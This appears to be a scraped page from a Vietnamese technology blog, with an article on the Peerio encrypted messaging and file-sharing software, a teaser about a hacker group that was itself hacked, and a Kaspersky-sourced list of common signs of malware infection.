Sony gần đây.</p>

Nhóm hacker đánh sập PlayStation Network bị… hack tơi bời

Bên cạnh những nhóm hacker rất được yêu quý như Anonymous, cũng có nhiều nhóm hacker bị cộng đồng mạng “ghét cay ghét đắng”. Ví dụ điển hình...

Read More »

Peerio – Giải pháp mới trong việc chia sẻ thông tin an toàn

<p>Một mặt, một số chính phủ như Nga chỉ trích mã hóa end-to-end và đang xem xét sẽ cấm các ứng dụng thông tin liên lạc được mã hóa như Snapchat, Cryptocat, WhatsApp và iMessage của Apple. Mặt khác, cộng đồng Internet vẫn đưa ra một ứng dụng thông tin liên lạc mã hóa mới và khá an toàn. Đó là Peerio.</p><p>Peerio là một bộ phần mềm mã hóa được thiết kế với nhiều khả năng hơn cho việc gửi email PGP và mã hóa tập tin. Do đó, người dùng cá nhân và doanh nghiệp đều có thể mã hóa tất cả mọi thứ từ các tin nhắn nhanh để lưu trữ tệp trực tuyến. Peerio do nhà nghiên cứu 24 tuổi Nadim Kobeissi thiết kế. Kobeissi cũng chính là tác giả của các ứng dụng nhắn tin nhóm mã hóa end-to-end như Cryptocat và ứng dụng mã hóa, chia sẻ tập tin MiniLock.</p><p>Kobeissi nói:</p><blockquote><p><em>“</em><em>Với Peerio</em><em>,</em><em> mọi thứ bạn chia sẻ hoặc giao tiếp với nhóm của bạn </em><em>đều </em><em>được bảo vệ với</em> <em>thông tin được mã hóa</em><em>, và nó cũng dễ </em><em>dàng </em><em>sử dụng như Gmail. Bạn không cần phải học cách sử dụng nó</em><em>. Peerio mang sự an toàn đến cho bất cứ ai”.</em></p></blockquote><p>Hiện nay, công nghệ Pretty Good Privacy (PGP) là cách duy nhất để gửi email và tin nhắn mã hóa end-to-end, nhưng rất khó để tất cả mọi người đều có thể sử dụng. Vì thế, một số công ty đã tìm cách để có thể làm việc trên PGP dễ dàng khi sử dụng email mã hóa end-to-end. Trong số đó, được biết đến nhiều nhất là Google. Công ty gần đây đã công bố một trình duyệt Google Chrome alpha mở rộng được gọi là End-to-End cho việc gửi và nhận email một cách an toàn, và được mong đợi sẽ sớm có phiên bản beta vào cuối năm nay.</p><p>Peerio tránh sự phức tạp trong quản lý PGP bằng cách yêu cầu người sử dụng tạo ra mật khẩu dài 30 ký tự, sau đó được sử dụng để tạo ra một khóa riêng 100-bit và mã hóa các tập tin. Trong khi đó, sử dụng PGP tạo ra một khóa ngẫu nhiên và đòi hỏi người sử dụng phải giữ tập tin đó được an toàn. Tóm lại, nó có nghĩa là khi người dùng đăng nhập vào Peerio trên máy bất kỳ và truy cập vào các tập tin được mã hóa của mình, họ không cần phải lo lắng về việc quản lý hoặc bảo vệ khóa riêng.</p><p>Các email và tập tin mà người dùng trao đổi với bạn bè của họ sẽ được lưu trữ trên các máy chủ Peerio mà không ai có thể nhìn thấy bởi vì các tin nhắn và các tập tin đã được mã hóa trước khi gửi đến các máy chủ và đến người nhận.</p><p>Ứng dụng hiện có giá 250.000 USD. Phiên bản miễn phí của ứng dụng này chỉ có 1,2 GB dung lượng lưu trữ, và đội Peerio dự định bán các tính năng cao cấp hơn trong mô hình kinh doanh của mình, chẳng hạn như khả năng lưu trữ nhiều hơn. Peerio đã có sẵn cho các hệ điều hành Windows, Mac OS X và Chrome (có nghĩa là nó hoạt động cho Linux và Chrome OS). Phiên bản Android và iOS của ứng dụng đang trong quá trình phát triển và sẽ sớm có mặt.</p>

Peerio – Giải pháp mới trong việc chia sẻ thông tin an toàn

Một mặt, một số chính phủ như Nga chỉ trích mã hóa end-to-end và đang xem xét sẽ cấm các ứng dụng thông tin liên lạc được mã hóa như Snapcha...

Read More »

Dấu hiệu chung của lây nhiễm phần mềm độc hại

<div dir="ltr" style="text-align: left;" trbidi="on"> <div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;"> <strong style="box-sizing: border-box; color: black;">Có một số dấu hiệu hoặc triệu chứng chỉ ra rằng máy tính của bạn có thể đã bị lây nhiễm. Nếu bạn bắt đầu để ý những điều kỳ lạ xảy ra trên máy tính của bạn hãy kiểm tra lại máy tính.</strong></div> <div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;"> Dưới đây là một số hiện tượng mà bạn có thể gặp</div> <ol style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;"> <li style="box-sizing: border-box;">Tin nhắn, hình ảnh, hoặc các tín hiệu âm thanh bất thường;</li> <li style="box-sizing: border-box;">Khay đĩa CD-ROM tự động đóng mở;</li> <li style="box-sizing: border-box;">Chương trình bắt đầu chạy mà không có lệnh của bạn;</li> <li style="box-sizing: border-box;">Thông điệp được hiển thị thông báo rằng một trong những chương trình của bạn đang cố gắng truy cập Internet mà không có lệnh của bạn.</li> <li style="box-sizing: border-box;">Khi đó, có khả năng là máy tính của bạn đã bị nhiễm phần mềm độc hại.</li> </ol> <div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;"> Dấu hiệu khác khi địa chỉ email của bạn bị lây nhiễm mã độc:</div> <ol style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;"> <li style="box-sizing: border-box;">Bạn bè hoặc đồng nghiệp của bạn nói với bạn về việc  nhận được email gửi từ hòm mail của bạn mà bạn không hề gửi;</li> <li style="box-sizing: border-box;">Có rất nhiều tin nhắn không có địa chỉ người gửi và tiêu đề trong hộp thư của bạn.</li> </ol> <div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;"> Phải thừa nhận rằng những dấu hiệu này không phải luôn luôn liên quan đến sự hiện diện của các phần mềm độc hại. Chúng có thể xảy ra do những nguyên nhân khác. Ví dụ, vấn đề với các email lạ có thể là kết quả của việc ai đó gửi email bị lây nhiễm tới địa chỉ người gửi từ một số máy tính khác, không nhất thiết của bạn.</div> <div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;"> Ngoài ra còn có những dấu hiệu gián tiếp của việc lây nhiễm phần mềm độc hại trên máy tính của bạn:</div> <ol style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;"> <li style="box-sizing: border-box;">PC của bạn thường xuyên bị treo;</li> <li style="box-sizing: border-box;">Tất cả mọi thứ chạy chậm lại khi khởi động một chương trình;</li> <li style="box-sizing: border-box;">Hệ điều hành không khởi động;</li> <li style="box-sizing: border-box;">Các tập tin và thư mục bị mất hoặc hỏng;</li> <li style="box-sizing: border-box;">Ổ cứng hoạt động quá mức (ánh sáng trên mặt trước case nhấp nháy thường xuyên);</li> <li style="box-sizing: border-box;">Có vấn đề xảy ra với Microsoft Internet Explorer (ví dụ nó bị đóng băng hoặc không đáp ứng với các lệnh).</li> </ol> <div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: right;"> <span style="box-sizing: border-box; text-decoration: underline;"><strong style="box-sizing: border-box; color: black;">Kaspersky</strong></span></div> </div>

Dấu hiệu chung của lây nhiễm phần mềm độc hại

Có một số dấu hiệu hoặc triệu chứng chỉ ra rằng máy tính của bạn có thể đã bị lây nhiễm. Nếu bạn bắt đầu để ý những điều kỳ lạ xảy ra trên...

Read More »